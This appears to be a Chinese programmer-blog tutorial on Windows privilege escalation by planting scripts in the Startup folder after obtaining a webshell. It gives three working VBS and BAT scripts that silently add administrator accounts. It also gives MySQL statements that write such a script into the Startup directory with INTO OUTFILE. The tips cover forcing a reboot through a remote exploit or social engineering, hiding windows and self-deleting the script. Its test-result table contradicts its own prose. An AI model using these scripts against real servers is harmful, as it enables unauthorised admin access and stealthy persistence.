欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

启动项提权

程序员文章站 2022-03-23 17:57:32
...

0x00开机启动项提权

windows开机时候都会有一些开机启动的程序,那时候启动的程序权限都是system,因为是system把他们启动的,利用这点,我们可以将自动化脚本写入启动项,达到提权的目的。

0x01 关于自动化脚本

自动化脚本可以是bat文件,vbs文件等。

我们在拿到一个网站的webshell的时候如果想进一步的获得网站的服务器权限,查看服务器上系统盘的可读可写目录,若是启动目录 “C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup” 是可读可写的,我们就可以执行上传一个vbs或者bat的脚本进行提权。

一个添加用户密码的vbs脚本的内容如下:

脚本1
set wsnetwork=CreateObject("WSCRIPT.NETWORK") 
os="WinNT://"&wsnetwork.ComputerName 
Set ob=GetObject(os) '得到adsi接口,绑定 
Set oe=GetObject(os&"/Administrators,group") '属性,admin组 
Set od=ob.Create("user","test") '建立用户 
od.SetPassword "1234" '设置密码 
od.SetInfo '保存 
Set of=GetObject(os&"/test",user) '得到用户 
oe.add os&"/test" 

另一个添加用户密码的vbs脚本的内容如下:

脚本2
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user ttt 123456 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators ttt /add",0)

保存为a.vbs,上传到启动目录。提权结束,等待目标服务器再次开机登录时即可自动添加帐号密码。

TIPS:

1.通常我们会主动去重启服务器,利用远程溢出(Ms12-020)或社工手法等。
2.写入脚本的时候也常常用数据库去写入

一个添加用户密码的bat脚本的内容如下:

脚本3
@echo off
net user test1 123456 /add
net localgroup administrators test1 /add

0x02 通过mysql来写入启动项提权

1.连接到对方MYSQL 服务器

2.进入test数据库,这个数据库一般情况下没有表

数据库语句内容如下

create table a(cmd text); #创建a表,表中只存放一个字段cmd,为text文本
insert into a values("set wshshell=createobject(""wscript.shell"")");
insert into a values("a=wshshell.run(""cmd.exe /c net user ttt 123456 /add"",0)");  #添加用户密码,注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序!
insert into a values("b=wshshell.run(""cmd.exe /c net localgroup administrators ttt /add"",0)"); #加入administrators组

select * from a;查询有没有写入
select * from a into outfile "C:\\Users\\zth\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\a.vbs" #把表中的内容写入到启动组中,是一个VBS的脚本文件!注意“\”符号

启动项提权
启动项提权

0x03 测试结果

我在本地虚拟机(靶机win7专业版)测试过程中,启动项提权成功与否,信息如下:

Administrator超级官理员 普通管理员
脚本1 提权失败 提权失败
脚本2 提权成功 提权失败
脚本3 提权失败 提权失败

1.以下两图是在超级管理员账户下的截图,在运行脚本1和2时,无报错,无弹窗。脚本1用户创建成功,脚本2和3的用户都没创建出来。
启动项提权
[外链图片转存失败(img-4HfzefiK-1563876027863)(https://i.loli.net/2019/07/23/5d36b7a47fedd56698.png)]
2.在管理员账户下,重启时运行脚本1时遇到如下错误,在运行这条语句时od.SetInfo,报错,没有去深究。运行脚本2时有弹窗,脚本3没反应。三个脚本的用户都没有创建成功。
启动项提权
其实这就是利用MYSQL向启动组输入了一个可执行的文件而已。BAT脚本,在启动运行时会有明显的DOS窗口弹出来,而VBS脚本则可以完全隐藏窗口且不会有错误提示!也可以写一句完成脚本后自动删除此脚本的语句。

参看链接:

https://www.jianshu.com/p/595f3511d970

http://www.jinglingshu.org/?p=7262

相关标签: 提权